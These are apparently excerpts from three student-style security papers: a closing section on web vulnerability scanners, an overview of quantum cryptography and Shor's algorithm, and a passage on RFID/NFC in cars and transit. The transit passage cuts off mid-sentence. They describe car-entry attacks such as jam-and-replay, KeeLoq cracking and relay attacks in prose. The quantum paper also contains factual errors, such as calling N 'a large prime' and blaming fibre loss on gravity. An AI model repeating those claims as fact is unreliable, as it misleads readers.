Backup/Hidden Files and identify SQL Injection, Reflected XSS 
vulnerabilities. The green bar in Figure (21) shows the accuracy 
of the tool while the red bar shows the percentage of false 
positives the tools generate.  

 
 

Burp Suite Pro - Burp tool was the most versatile tool and the 
best tool in the input vector support category. Input vectors are 
used by HTML/Flash/Applet/Silverlight applications to deliver 
user-originating input from the client to the server. These formats 
include - 
Query String Parameters (URL?param1=value1&param2=value2) 
and HTTP Body Parameters (param1=value1&param2=value2) 

 

Netsparker - Netsparker tool scored well in finding Reflected 
XSS and Remote File Inclusion vulnerabilities. Vectors of 
Remote File Inclusion can result in XSS or Phishing attacks. 

6. CONCLUSION 
This paper discussed the various techniques used to analyze 
vulnerabilities in web applications. It highlighted two major kinds 
of testing techniques - White Box testing and Black Box Testing. 
While White Box testing must be used while building the 
software, Black Box testing techniques can be employed in cases 
when we do not have access to source code.  

As a part of White Box testing techniques, this paper emphasized 
few precautions that could be taken to prevent common attacks 
like SQL Injection and Cross Site Scripting attacks and discussed 
the functionality of plugin tools like PMD and SecureAssist 
through examples.  

It further discussed Black Box testing techniques like Fuzzing, 
Session ID tracking, SQL injection detection and Hash Dos 
attacks through tools like Burp Intruder, WebScarab, Acunetix 
and ASafaWeb respectively, followed by their brief comparison.  
In a nutshell, this paper provides a comprehensive analysis of the 
various tools and techniques that could be used to make web 
applications as secure as possible, especially when intruders are 
getting smarter and more sophisticated at finding security 
vulnerabilities. 
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ABSTRACT 

This paper will explore the use of Quantum Information System in 

the development of security for communication. It is not a 

scientific research paper of in-depth quantum knowledge, but 

rather an overview of how Quantum Computing and Quantum 

Cryptography work, and their applications in making secure 

channel for communication. The challenges and future 

prospective of Quantum Information System are also discussed at 

the end of the paper. 

Categories and Subject Descriptors 

E.3 [Data]: Data Encryption – code breaking, public key 

cryptosystems.  

E.4 [Data]: Coding and Information Theory – formal models of 

communication. 

H.1.1 [Information Systems]: Models and Principles – Systems 

and Information Theory – information theory, value of 

information 

K.4.4 [Computing Milieux]: Computers and Society – Electronic 

Commerce – Security. 

General Terms 

Algorithms, Design, Security. 

Keywords 

Quantum Information System, QIS, Quantum Computing, 

Quantum Cryptography, Quantum Key Distribution, QKD 

1. INTRODUCTION 
Communication is essential for human society because we need to 

communicate in order to form groups, to learn from others, to get 

what we want, so on and so forth. In addition to normal 

communication, mankind also spent years on building secure 

channel for communication. One of the most important 

development that we made towards securing our communication 

is cryptography and its application - the public-key infrastructure. 

However, together with building more secure scheme for our 

communication, we also create means for others to break it, and 

one of such is the application of quantum information science in 

cryptography. This paper will explore about “How quantum 

information science (QIS) affect the use of cryptography in secure 

communication?” 

 

The paper will explain what quantum information science is, what 

the differences between classical and quantum computing are, 

Shor’s algorithm and its potential threat to RSA scheme, two 

applications of quantum computing in secure communication -  

quantum key distribution and satellite based quantum 

communication, as well as current challenges and future 

perspective of quantum computing. 

2. QUANTUM INFORMATION SCIENCE 
Quantum information science is the theory of communication and 

computation at the most fundamental physical level1. It 

encompasses many fields such as Quantum Computing, Quantum 

Cryptography, Quantum Complexity Theory, etc. This paper will 

focus mainly on Quantum Computing and Quantum 

Cryptography, because these two fields are receiving more 

noticeable advancement recently, and they also have important 

impact on communication. 

2.1 Quantum Computing 
Quantum Computing, obviously, uses quantum computer for 

computation. It started in the 1970s when physicists started many 

researches about quantum mechanics, engineers built many 

capable computers for large number computation, and computer 

science became more approachable due to the growth of personal 

computers. It did not become a trend at that time, but many 

researchers worked on it and at the moment it is one of the few 

possible techniques we have to solve some of our so-called “NP 

(nondeterministic polynomial time) problems.” 

2.1.1 Quantum Computing versus Classical 

Computing 
“Classical Computing uses bits, Quantum Computing uses qubits 

(quantum bits).” That is the simplest answer one could get from 

questioning about the differences between these two. Bit is the 

smallest unit of memory for classical computer. A bit takes either 

0 or 1 as value. A qubit, on the other hand, takes either 0, 1 or any 

quantum superposition of these two states. If there are two qubits, 

they can be in any quantum superposition of 4 states, similar for 3 

qubits being in any quantum superposition of 8 states, if there are 

n qubits, they can be in any quantum superposition of 2n states. 

Since both bit and qubit are unit of memory, we can see that 

quantum computer can keep more information than classical 

computer. However, quantum computer does not really mean 

superiority compared to classical computer. The next section will 

discuss the reason behind it. 
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2.1.2 Speed of computation 
For some computations, quantum computer is proved to be much 

faster, but for some other computations, no noticeable 

improvement is observed. Quantum computer uses constructive 

and destructive interference of superposition states to find out the 

solution with highest probability after applying the quantum 

computing algorithm. As such, many algorithms for quantum 

computing will only give answers with certain probability. 

However, with rigorous mathematical proofs these answers are 

accepted as solutions for our problems. 

The important feature of quantum computing is that it offers an 

alternative way of doing computation from classical computing, 

which is the parallel stimulation towards qubits and make them 

change their states (e.g. Shooting LASER beam onto electrons). 

Incorrect answers will lead to destructive interference and those 

states cancel each other out. Answers with high probability to be 

correct lead to constructive interference and the highest one is 

observed by measuring the quantum amplitudes at the end of the 

algorithm. 

On the other hand, quantum computing is not necessarily a better 

choice than classical computing for all computations. It is because 

although quantum computing allow parallel stimulation of the 

qubits, we need to find some mathematical properties or 

algorithms to exploit such parallelism, and for many cases it is not 

possible to do so. For example, to factorize a number into its 

prime factors, we all know that there is exactly and only one 

possible solution, so after parallel computation we could find that 

solution as it will have the highest probability from the quantum 

computation. However, if we are to solve a Sudoku puzzle, we do 

not know whether it has one, none or many solutions, and thus 

quantum computing will not be able to give us any advantages 

towards classical computing. Still, for problems such as factoring 

number, quantum computing offer a better speed for finding 

solution, which could be thousand times faster than classical 

computing. 

In this section, it is explained that quantum computing offer 

superior speed of calculation compared to classical computer for 

some problems where mathematical properties can be exploited, 

but for other problems it does not offer any obvious advantage. It 

is important to realize that quantum computing does not offer 

faster speed because it perform the same basic operation faster, 

but it is because quantum computing use a different method of 

computation altogether (parallelism with constructive and 

destructive interference of quantum states).  

 

Figure 1. Categories of Computer Science problems. 

Figure 1 shows that quantum computing helps solve some NP 

problems such as factorization of integers or discrete algorithms 

(We call those BQP – Bounded error, Quantum, Polynomial time 

– problems). Nevertheless, for many other NP problems, not to 

say NP-complete – the hardest challenges faced by computer 

scientists so far, quantum computing does not offer a solution yet, 

but there are researchers who are still finding quantum algorithms 

for those problems2.  

 

2.2 Quantum Cryptography and Shor’s 

algorithm 

Quantum Cryptography is the applications of quantum mechanics 

toward performing cryptographic tasks. It could be either used to 

make more secure channel for communication, or to break 

classical cryptographic system in order to gain unauthorized 

access to the information. One of the most talked about example 

of quantum cryptography in breaking classical system is Shor’s 

algorithm. This section will provide an overview of the public key 

infrastructure, RSA, and Shor’s algorithm. 

2.2.1 Public-key infrastructure (PKI) 
A PKI consists of software and hardware elements that a trusted 

third party (certification authority – CA) can use to establish the 

integrity of ownership of a public key3. The CA will distribute the 

public key of its client to the party that the client wants to 

communicate with. Any communication in the system is 

completed by using the public and private key, thus ensure a 

secure communication between the two parties. The use of the 

pair public and private key is called public key cryptosystem, and 

one of the most widely used system is the RSA. 

2.2.2 RSA 
This is one of the earliest applicable public key cryptosystems and 

is widely used in secure communication. Below is the scheme for 

key generation, encryption and decryption with RSA. 
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2.2.2.1 Key generation 
1. Choose two distinct prime number p and q 

2. Compute N = p⋅q 

3. Find Euler’s totient value of N: (N) = (p-1) ⋅ (q-1) 

4. Find e such that 1 < e < (N) and gcd(e, (N)) = 1 (or e 

and (N) are coprime)4 

5. Find d such that d⋅e  1 (mod (N)) 

The public key will be (N, e) and the private key will be (N, d) 

2.2.2.2 Encryption 
Let m be the message and c be the ciphered text of the message. 

Then the sender will encrypt the message using 

 c  me (mod N) 

2.2.2.3 Decryption 
The recipient could decrypt the message by computing 

 m  cd (mod N) 

The RSA and public key cryptography is used in secure 

communication for a long time, because it is hard to factorize N 

and find the private key from it. However, with quantum 

computer and Shor’s algorithm, the process seems theoretically 

much easier. 

2.2.3 Shor’s algorithm 
This algorithm is named after the mathematician Peter Shor, who 

formulated it in 19945. It is a quantum algorithm that enable 

solving the problem of factorization of integer number N. It is 

well-known because the computation speed is much faster than 

classical computation. For classical computing, to factorize a 

number, the most efficient algorithm is general number field 

sieve6, which solved the problem in sub-exponential time. Shor’s 

algorithm solved this in polynomial time of log(N), such 

efficiency is due to the use of quantum Fourier transform, and 

modular exponentiation by repeated squaring. 

2.2.3.1 The algorithm7 
The key concept of the algorithm is to transform the problem from 

finding prime factors p and q directly by trying all numbers 

smaller than n to finding the period of a sequence formed by 

powers of an integer x modulo N: x mod N, x2 mod N, x3 mod N… 

That period is a factor of (N), and by finding several periods for 

different x, we can determine the value of p and q after some 

computations. It is much faster to use quantum computer to find 

out the period in a sequence than using classical computer 

because constructive interference and destructive interference 

make the period more obvious and quantum computer can process 

many elements of the sequence at once due to its characteristic of 

                                                                 

4 gcd(a, b) stands for the value of the greatest common divisor 

between two integer a and b 

5 (Tzvetan, 2011) 

6 (Briggs, 1998) 

7 Due to the explanatory characteristic of this paper as well as the 

main discussion is on communication and not technical rigor, the 

algorithm will be simplified and only general ideas are mentioned.  

parallelism. Shor’s algorithm can be split into two parts: A 

reduction of the factoring problem to a problem of order-finding 

(classical computing) and an algorithm solving the order-finding 

problem (quantum computing) 

Below is the simplified and summarized version of what Shor’s 

algorithm does to factor an integer N8: 

1. (Classical computer) Determine if N is a prime, an even 

number or an integer power of a prime number. If it is, 

then we will not use Shor’s algorithm for it. 

2. Choose an integer q such that N2<q<2N2 

3. Choose a random integer x such that gcd(x, N) = 1 (or x 

and N are coprime) 

4. (Quantum Computer) Create two entangled quantum 

registers for input and output 

Intput register contains enough qubits for storing 

number as large as q-1 

Output register contains enough qubits for storing 

number as large as N-1 

5. Load the input register with an equally weighted 

superposition of all integers from 0 to q-1. 

Load the output register with all 0. 

6. Apply the transformation of xa mod N to each input 

register, then store the result of each computation in the 

output register 

7. Measure the output registers, this will collapse the 

superposition to represent just one of the results of the 

transformation. Let this value be c.  

8. Due to the entanglement of the output and input 

registers, measuring the output registers will have the 

effect of partially collapsing the input register into an 

equal superposition of each state between 0 and q-1 

that yielded c. 

Quantum Fourier Transform (QFT) is applied to the 

partially collapsed input register. The QFT will 

essentially peak the probability amplitudes at integer 

multiples of q/r, where r is the desired period. We can 

safely deduct the value of r after finding several integer 

multiples of q/r. 

9. (Classical Computer) The factors of N can be 

determined by taking the greatest common divisor of N 

with respect to xr/2+1 and xr/2-1. 

If the algorithm failed to produce factors of N, then go 

back to step 3 and choose a new x. 

With Shor’s algorithm, we can use quantum computing to find 

prime factors p and q of a large prime N for a much shorter time. 

Therefore, it causes RSA to become crack-able (if we have a 

capable quantum computer). 

A third party can get one’s public key (N, e), apply the algorithm 

on N, find p and q, then find (N), from e and (N) the value of d 

can be easily determined and the private key (N, d) is found. 

Theoretically, this sort of breaking cryptosystem will work, and 

we need to find methods to protect our secure communication 

from such break. 
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3. QUANTUM CRYTOGRAPHY IN 

COMMUNICATION SECURITY 

3.1 Quantum Key Distribution 
After the formulation of Shor’s algorithm, we know that simply 

increasing key size of the public key will not solve the problem 

because quantum computing can hold larger data and perform 

much more computation in parallel compared to classical 

computing, and thus factorizing a larger number might not really 

be an obstacle for the cracker. In order to solve the problem posed 

by Quantum Computing, scientists proposed a solution that 

involve the use of Quantum Cryptography, and it is the Quantum 

Key Distribution (QKD). 

QKD is a technology that applies quantum mechanics in the 

distribution of key, and it helps reveal third party interception 

because the data transferred will show evidence of disruption. It is 

important to note that the solution for the problem posed by 

Shor’s algorithm is not making the key harder, but we change the 

way keys are distributed and thus reduce the possibility of 

revelation of keys to third party. Thus, this is not a direct solution 

but it is still proven to be effective in communication security. In 

figure 2, QKD uses both Quantum Channel and Classical 

Channel for communication. The Classical Channel is used to 

describe about their algorithm, and the Quantum Channel is used 

to send and receive information. The quantum mechanics will 

ensure that the information is unconditionally secure, and any 

attempt to eavesdropping would result in an alteration of the 

information. 

 

Figure 2. An overview of QKD. 

3.1.1 Quantum mechanics that are fundamental for 

QKD 
To understand why QKD works, we need to understand some 

fundamental quantum mechanics that could help bring 

unconditional security towards the distribution of key. These 

fundamental quantum mechanics are Heisenberg Uncertainty 

Principle and The Law of Quantum Entanglement. 

3.1.1.1 Heisenberg Uncertainty Principle 
In short, Uncertainty Principle. It is publicly stated by Werner 

Heisenberg in 19279, and it says that in a pair of conjugate 

properties in the quantum system, we can only know with 

certainty one of them, and the other property is uncertain. A 

                                                                 

9 (Weisstein, 2007) 

measurement of one property would disturb the other, and it is 

impossible to know both properties simultaneously with certainty. 

The Uncertainty Principle also leads to another important 

theorem, the no-cloning theorem. Since there is only one know 

property and the other is unknown, it is thus impossible to make 

identical clone of quantum particles. Both Uncertainty Principle 

and No-cloning theorem are used in some QKD protocols (e.g. 

BB84 protocol). 

3.1.1.2  Quantum Entanglement Principle 
Another important principle used by QKD apart from Uncertainty 

Principle is the Principle of Quantum Entanglement. The principle 

states that it is possible to two quantum particles to become 

entangled such that if one property is measured in one particle, the 

other instantaneously observed the opposite state, and this is true 

no matter what the distance between the particles is. However, it 

is impossible to predict prior to measurement what state will be 

observed and thus it is not possible to communicate via entangled 

particles without discussion of observations over a classical 

channel. This system with communication over entangled 

particles with the aid of classical channel for discussion on 

observations is called quantum teleportation, and is also used in 

some QKD protocols (e.g. Eckert’s protocol).  

3.1.2 Examples of QKD protocols 

3.1.2.1 BB84 protocol10 
Published by Charles Bennett and Gilles Brassard in 198411, it is 

one of the most used example for Quantum Key Distribution 

protocol. The basic idea for this protocol is that Alice can transfer 

a random secret key to Bob by sending a string of quantum 

particles (e.g. photons) where the secret key’s bits are encoded 

using one of the conjugate property of the particles. The 

Uncertainty Principle can be used to ensure that a third party, Eve, 

cannot measure these particles to find the secret key and transmit 

them to Bob without disturbing the particles’ states in a detectable 

way. Eve cannot clone the particles either, because the no-cloning 

theorem prohibit such action. Below are the steps of the protocol: 

1. Alice encodes classical bits 0 and 1 with two different 

bases randomly to qubits, and send to Bob over a 

quantum channel. 

2. Bob decodes the qubits with the same different bases 

randomly, and get a sequence of number. He will have a 

50% correct use of bases, and a 25% of correct 

information from using the wrong bases. In total Bob’s 

sequence will be 75% similar to Alice’s sequence on 

average. 

3. Alice and Bob use classical channel to communicate the 

sequence of bases they used, and discard the bit 

decoded with the wrong basis. The remaining bits are 

the secret key to be used. 

If Eve is eavesdropping, she will have to guess the qubits 

randomly like Bob, but she cannot clone the qubits and thus has 

to send the altered sequence of 75% correctness to Bob. Bob will 

decode the qubits randomly and only get a 62.5% correct. This 

could indicate the presence of Eve if Alice and Bob after agreeing 
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(VanDevender)  
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on the secret key, Alice sends part of their key to Bob again, and 

Bob check the newly decoded key part from Alice with his part of 

the key, if they are different then it is safe to conclude that Eve is 

listening to their key exchange. This is the basic of the BB84 

protocol. 

3.1.2.2 Eckert91 Protocol12 
Unlike BB84 protocol where Alice and Bob rely on the no-

cloning theorem of particle, Eckert91 protocol employs the 

properties of entangled particles. The protocol is described as 

follow: 

1. A source that creates pair of entangled quantum 

particles, and one particle is sent to Alice, the other is 

sent to Bob. 

2. Alice and Bob would choose two random bases to 

measure the particles, and they discuss the bases 

through classical channel. 

3. After discussion Alice and Bob sequences should be the 

complement of each other due to the properties of 

entangled particles. The secret key can be deducted by 

one party invert his or her sequence. 

If Eve is listening to their key exchange, Alice and Bob can 

measure the particles with the third basis and discuss their results. 

With this information they can test Bell’s inequality13 which 

should not hold for entangled object. If the inequality holds, then 

they can conclude that there is an eavesdropper. 

3.1.3 Shortcomings of QKD 
The advantages of QKD is that it protects Alice and Bob 

communication from the eavesdropper Eve. Nevertheless, it is not 

Eve’s inability to intercept channel or to perform mathematical 

computation that stop her from eavesdropping the communication 

but rather her inability to violate the laws of physics. Therefore, 

QKD can protect Alice and Bob to large extent from third party 

snooping their conversation, but it cannot protect them from 

spoofing attack. If Eve pretends to be Bob or Alice, the other 

would not know about it and thus the communication security is 

breached. To solve this problem, the communication over the 

Classical Channel should be authenticated, meaning Alice and 

Bob should know exactly who they are communicating to. Other 

attack like denial of service need other security measures too. 

Hence QKD is effective in protecting communication from 

eavesdropping by third party, but other security measures are also 

needed to protect it from other types of attack. 

Another problem with QKD is the effects of noise over the 

communication channels. Unless all equipment used is ideal, we 

cannot be sure that there is no noise in the channel. If there is 

noise, the qubits could be altered and thus can lead to confusion 

whether the conversation is eavesdropped or not. One way to 

solve this problem with noise is to set a threshold for differences 

in sent and received messages. According to the protocols 

described above (i.e. BB84), if a third party is eavesdropping the 

communication, the differences between the sent and received 

messages could exceed 10%. So we can set the possible error 

caused by noise to be about 10% or less, and if the percentage of 

error is more than the threshold, the communication need to 
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restart. In order to get the noise level to 10% or below, an 

improvement in the equipment is necessary. 

Although there are some shortcomings, QKD is rather effective in 

protecting the secure communication from third party 

eavesdropping. However, much of this section is theory and not 

much about practical application. The next section will 

demonstrate real experiments about how QKD is applied in real 

world. 

3.2 Satellite-Based Quantum Communication 
Both Chinese and European researchers are working on the 

project of how to make longer distance for Quantum Channel. 

Currently quantum particles used are photons and they are 

transferred through optic fiber. However, latest achievement in 

distance for transferring photons through optic fiber without high 

percentage of loss is only about 100 km14. The reason for this loss 

is because of the effect of gravity and the curvature of the earth 

surface, which impact the quantum states of the particles and thus 

produce wrong signal. Scientists and researchers are being 

ambitious to make the quantum channel cover long distance by 

using satellite. If this project is successful, then we can ensure 

safe communication without eavesdroppers from anywhere on 

earth. The main property of the quantum channel that makes this 

work is the unconditional secure property of the channel. Due to 

the law of physics, it is impossible to eavesdrop a quantum 

channel without altering the states of the qubits, and thus third 

party snooping attack is detected. Therefore, the only concern 

with making satellite-based quantum communication is not on the 

security level against snoopers, but the technology to actually 

lengthen the distance of the quantum channel. 

In the design for satellite-based quantum communication, the 

satellite will be a node in the communication between two parties 

which receive qubits from one and transfer to another without loss 

of quantum states (no measurement of data occurs). To make this 

happens, two important factors that are necessary: 

1. The satellite should not be used as a mean to eavesdrop 

the communication (no hijacking of satellite possible). 

Satellite should be secured in command and control as 

well as up/down link in order to ensure no hacking 

possible. QKD can be used in establishing 

communication to avoid third party tracking access to 

satellite.  

2. The qubits should be able to travel long enough distance 

to reach the satellite and from the satellite to the 

receiver without the loss of quantum states. 

There are experiments going on in order to make long 

distance travel of qubits possible. Most recent ones are 

from Europe15 and China16.  

It is still years before we could make it possible for quantum 

channel to expand to space, but researchers and scientists in 

Europe and China are slowly but progressively moving towards it. 

If satellite-based quantum communication is achieved, then it will 

bring many important applications for many areas, such as 

military, airlines, space exploration, etc. Nevertheless, there are 
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also possible obstacles towards satellite-based quantum 

communication: 

1. Cost for communication over satellite is high, and will 

be even higher for quantum channel because 

transferring quantum information is different from 

transferring classical information. 

2. Alteration of quantum information from human activity, 

such as radio waves, light shielding materials, etc. 

which will increase the error rate in date transfer. 

Experiments are going on now to reduce such 

interference. 

3. Possible usage for illegal activities, so more control 

over the channel will be needed. However, if illegal 

communication occur, no one knows what it is about 

because of the unconditional security offered by 

quantum channel. 

Although a number of obstacles arise, we can see many more 

benefits having secure communication over the satellite, therefore 

scientists are expecting quantum communication over the space to 

be one of the new technology trend in the next few years17.  

4. CHALLENGES AND FUTURE 

PROSPECTIVE OF QIS IN 

COMMUNICATION SECURITY 

4.1 Current Challenges 
As a new technology, QIS faced with many challenges. In this 

paper, only two most prominent challenges are discussed: Cost 

and Technology. 

4.1.1 Cost 
Everything has a cost. Advanced system, large scale architecture, 

high level of usability, all these incur high cost. For quantum 

computing alone, to build a quantum chip with qubits behave like 

the quantum mechanics stated, the temperature of the system need 

to be kept at near absolute zero. The cost for building the system 

as well as the energy consumed for maintaining it is high (e.g. D-

Wave Quantum Computer with the cost of approximately 10 

million USD)18. High cost will affect greatly on the scalability of 

the system. It is almost conclusive that quantum computer will not 

be available for personal or business use, but rather for 

government, military and research purpose. If the cost is reduced, 

we could hope for our personal laptop being able to perform 

quantum computation. However, at the moment, there is no 

research going on about how to reduce the cost of making 

quantum computer, this is because the current level of technology 

cannot afford it yet. 

4.1.2 Technology 
Like mentioned above, the current level of technology is far 

behind the theory proposed for quantum computing. Shor’s 

algorithm now can only be used to factorize number as large as 

the number 14319, which is still much smaller than what we could 

expect to break the RSA. Quantum Channel for communication is 

being researched on, but we still have a long way to go before 
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18 (Lallanilla, 2013) 

19 (Zyga, 2012) 

technological advances could allow long transfer of quantum 

information without loss in correctness. Again, technology and 

cost are correlated, better technology required more spending, and 

higher cost will incur higher risk of fund providers. This is the 

main reason why our theory, architecture, system design are all in 

the end of 20th century but at the moment no huge advance in 

quantum technology that could enhance our lives is observed yet.  

Both financial and technological problems indeed are great 

challenges to overcome before quantum cryptography could 

actually be used in communication security. Nevertheless, we 

should also look at how researchers and scientists are going on 

with their researches and what will the future of quantum 

technology be like. 

4.2 Future Prospective of QIS in 

Communication Security 
While quantum researchers from China and Europe are going on 

for the race in researching about satellite based quantum 

communication, the US does not show any real interest in the 

topic. There are progress in the research, but it is slow and faces 

many challenges ahead. We can be certain that quantum 

technology will still be researched on in the coming years, but we 

cannot be certain that it will bring some breakthrough in 

communication technology. It is because quantum properties are 

delicate, we need advance technology to detect interference, to 

keep the entanglement of the particles, or just to send the particles 

while maintain their current states. Therefore, the number of 

experiments per period of time is limited by the technology, and 

we are still far away from what we expect to achieve. 

Nevertheless, it is important to acknowledge our achievement 

with respect to theories of quantum technology. Shor’s algorithm 

is proven to be able to factorize large integer number whenever 

technology is available, and similarly BB84 and Eckert91 

protocols are proven to protect communication from being 

eavesdropped by third party. What we have succeeded in doing so 

far is the formulation of theories and proof of their feasibility, and 

what we need to accomplish at the moment is to build the 

technology that can apply those theories to make advancement in 

communication security. Although it is uncertain, quantum 

cryptography can still be accepted as one of the possible solution 

for communication security (at least to protect the communication 

from snooping attack). 

5. CONCLUSION 
This paper provides a general overview of how Quantum 

Information Science can affect Communication Security. While 

Shor’s algorithm could pose a threat to the RSA and public key 

system, QKD is a solution to protect communication for third 

party eavesdropping. Although most of the work is still 

theoretical, technological advances are observed from time to 

time. In the near future, there will still be researches going on 

about how to apply quantum cryptography to secure 

communication over long distance such as using satellite based 

quantum communication, but due to the slow technological 

advance in quantum field, no certainty is said that quantum 

communication will become the next successful and applicable 

milestone in our communication security. Nevertheless, we could 

still believe that such systems can be implemented and worked 

successfully because the theories are proven to be correct and we 

are only waiting for advancement in technology in order to be 

able to build those systems. 
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ABSTRACT
This paper examines the use of RFID in transportation. Af-
ter examining RFID and its subset NFC, this paper discusses
the use of RFID in private vehicles and the use of NFC in
public transportation systems. Applications of the technol-
ogy are discussed, followed by a discussion of the security
issues that surround the uses of these technologies in trans-
portation systems.

Categories and Subject Descriptors
K.6.5 [Security and Protection]: Authentication; D.4.6
[Security and Protection]: Cryptographic controls

General Terms
Security, Cryptography

Keywords
RFID, NFC, MIFARE, AES, 3DES

1. INTRODUCTION
1.1 Near Field Communication
NFC, or Near Field Communication, is a set of standards
for wireless interaction between electronic devices that are
in very close proximity to each other. NFC-enabled mo-
bile devices allow users to store and access data simply by
bringing two NFC-enabled devices together in order to ini-
tiate network communications without requiring the user to
configure the setup. NFC’s flexibility allows for a wide vari-
ety of uses on a myriad of different devices. From enabling
our mobile phones to act as our credit cards to allowing keys
to remotely unlock our vehicles, it becomes clear that NFC
will be an integral part of the future.

1.2 Radio Frequency Identification
RFID stands for radio frequency identification. It is the
technology of using radio waves to transmit data wirelessly.
An RFID system has readers to read data stored on RFID

tags. The reader uses antennas to emit radio waves and
receive signals back from the tag, but then passes the infor-
mation to a computer system to be processed.

There are two types of RFID signals: active ones, and pas-
sive ones. Active signals are self-powered RFID tags, while
passive signals rely on an RFID reader for power. Active
RFID tags have longer read ranges and greater memory ca-
pabilities, but require more power to do so. Passive RFID
tags contain only a microchip and an antenna, and have no
internal battery. Its antenna draws energy from the electro-
magnetic waves of an RFID reader when it is in range, and
once powered, the passive RFID tag can transmit a signal.
[11]

1.3 Comparison of NFC and RFID
NFC is a subset of RFID technology. It is an extension of
High Frequency RFID standards. However, there are some
key differences between the two technologies, summarized in
Table 1. NFC devices, unlike RFID devices, are capable of
being both a reader and a tag, thus allowing two way, or
peer to peer communication.

2. RFID IN KEYLESS REMOTE ENTRY SYS-
TEMS

Remote keyless entry, as the name suggests, allows entry
into a locked environment without a mechanical key. In this
paper, we will discuss remote keyless entry used commonly
used to open car doors, by using a radio transmitter. RFID
allows for the transmitter and receiver to communicate. Ac-
tive RFID (Figure 2) systems involve a physical button that
needs to be pressed, while passive RFID (Figure 3) systems
activate by proximity. Inside each fob key is a radio trans-
mitter that turns on by proximity, or by having a physical
button that is pushed. The signal that is sent typically can
be detected within twenty feet. It sends a code to a receiver
located inside the car, along with instructions on what the
user wants to do, such as unlocking the doors or opening the
trunk. The receiver checks that the code is correct, and if it
is, executes the appropriate instructions. Figure 1 illustrates
a controller chip.

2.1 Security in active RFID systems
When active RFID is used, each transmission will contain a
different code, generated by a computer chip inside the de-
vice. A rolling code is used, which prevents replay attacks so
that eavesdroppers cannot replay a previous code to attempt
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Table 1: NFC vs RFID [5]
High Frequency RFID NFC

Operating Frequency 13.56MHz 13.56MHz
Communication One way Two way
Standards ISO 14443, 15693, 18000 ISO 14443

Scan Distance Up to 1m Up to 10cm
Scan Tags Simultaneously Yes No

Figure 1: A controller chip in an RFID tag

Figure 2: An active RFID key device

to repeat execution of instructions. A common pseudo ran-
dom number generator in both the transmitter and receiver
generates a new code each time a code has been used, each
stored in its own respective memory chip. When the trans-
mitter sends the next code it has calculated, the receiver
will compare it with it’s own next code. Typically, rather
than just comparing the next code, the next series of codes
are compared in case the receiver has missed some trans-
mitted keypresses. For example, a user may random press
keys on their can fob while away from the car, thus trans-
mitting several codes, but was too far away for the receiver
to pick up any of them. The next 256 codes are typically
compared. This, however, raises an accountability issue. If a
user presses the transmitter more than 257 times while away
from the range of the receiver, it will not work anymore. To
solve this problem, cars using this system have a resynchro-
nization feature built it, to resynchronize the transmitter
and receiver. [7]

2.1.1 Jam Intercept and Replay Attack
Rolling codes prevent replay attacks from previously used
codes, but replay attacks may still occur by jamming the
corresponding frequency. An eavesdropper can jam the radio
frequency, and record a code that the transmitter tried to
transmit. The receiver will not have received it, and the
eavesdropper can transmit the same code to the receiver.
Because a receiver compares the next 256 codes from the
last one that was successfully matched, it will recognize the
transmitted code as correct, and execute the instruction sent
by the eavesdropper.

2.1.2 KeyLoq algorithm
KeeLoq is an algorithm for code hopping systems that has
been used to for remote keyless systems. It is a block cipher
with a 64 bit key, and a block size of 32 bits. It involves two
different keys a manufacturer key, and a device key. While
each KeeLoq device key has its own unique value, they are
derived from the master manufacturer key, which is the same
for all the keys that the manufacturer makes. KeeLoq em-
ploys a rolling code protocol, by using a 16-bit counter that
is synchronized between the transmitter and receiver. The
counter is padded with 16 other bits so produce the 32-bit
block. Note that the 16 padding bits are known: they consist
of information of the serial number, the button status, and
a counter overflow. The 32-bit block is then encrypted with
the device key to produce the ciphertext. When a receiver
receives a ciphertext, it first checks if the serial number (sent
as plain text) matches. If so, it then decrypts the contents
and verifies that the rolling code counting is valid. Because
the manufacturer key is the same for all keys with the same
manufacturer, after a single key has been cracked and the
manufacturer key becomes known, it is easier to crack fu-
ture keys from the same manufacturer. Researchers from the
University of Leuven in Belgium have successfully cracked
the KeeLoq algorithm. By probing a digital key wirelessly,
the researchers collected 65 000 responses in an hour. With
a dedicated computer and software, they can decipher the
the device key’s unique code within a day. From this, the
researchers were able to obtain the manufacturer key. WIth
this information, for all cars of the same manufacturer, after
sniffing the communication between the digital key and the
car, the researchers were able to find the key’s unique code
within seconds. After that, they encoded the code to a chip
in a remote device, and then were able to unlock the car.
[12]

2.2 Security in passive RFID systems
Remote entry devices are triggered by proximity between the
car and the key fob via low frequency transmitting antennas.
Once the key detects a signal from the car, it wakes up
its processing chip, and processes the signal. The signal
consists of a challenge, and if a valid response is sent, the
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Figure 3: An passive RFID key device

car will unlock its doors. In passive RFID, the owner does
not need to press a button to send a signal to the RFID
reader. Another common use for this is in keyless ignitions,
where the car will only start if the key fob is detected to be
inside the car.

2.2.1 Relay Attack
Researchers at ETH Zurich found that it was possible to
extend the proximity at which the vehicle could detect a
signal from the fob key. If a car was parked, and the attacker
knew where the owner with the fob key was, the attacker can
extend the range of the signal to unlock the car, without
the owner knowing. The attack required the use of two
antennas, one within twenty-six feet of the key fob, and the
other near corresponding vehicle. Instead of having the key
fob and the vehicle transmit the signal directly to each other,
the antenna closer to the key would relay the signal to the
antenna by the car, which would then relay it again to the
vehicle itself. The researchers were able to access ten models
from eight manufacturers with this attack, from up to fifty
metres away. [1]

3. NFC IN PUBLIC TRANSPORTATION
Many countries around the world, from Singapore to Canada,
integrate NFC deeply into their public transportation sys-
tem. The core uses of Near Field Communication revolve
around connecting to other NFC-enabled devices and access-
ing information. Using an NFC-enabled device like a mobile
phone or a transportation card, a user can connect with an
NFC-enabled machine to check the credit she has, purchase
additional transportation credits, and gain access to public
transport by tapping on an NFC-enabled reader to pay for
their trip. In recent years, transportation operators have
expanded the use of NFC to help travelers obtain additional
information. For example, NFC chips that are embedded
into maps and posters allow users to tap their NFC-enabled
phone to download useful information like transportation
timetables, maps, and obtain special deals. NFC has revo-
lutionized the way the world travels by allowing travelers to
get rid of bulky items like paper tickets, coins, and maps, in
favor of digital information that can be easily accessed.

3.1 Security
Due to the weak processors found on most transportation
cards, an encryption scheme that requires low power con-
sumption is vital. The most commonly used transporta-

Figure 4: An illustration of how 3 keys are utilized
in 3DES

tion smart cards in the world are NXP Semiconductors’ MI-
FARE DESFire and Sony’s FeliCa system, which both use
the Triple Data Encryption Standard (3DES).

3.1.1 Triple Data Encryption Standard
3DES takes three 64-bit keys (192 bits total; 24 characters).
The user will input 24 characters. 3DES will then break
these characters into three subkeys (K1, K2, K3). If the
subkey is not 64 bits long, it will add extra bits in order
to ”pad it” to the necessary length. The data is encrypted
with K1. Then the result is decrypted with the K2. Finally
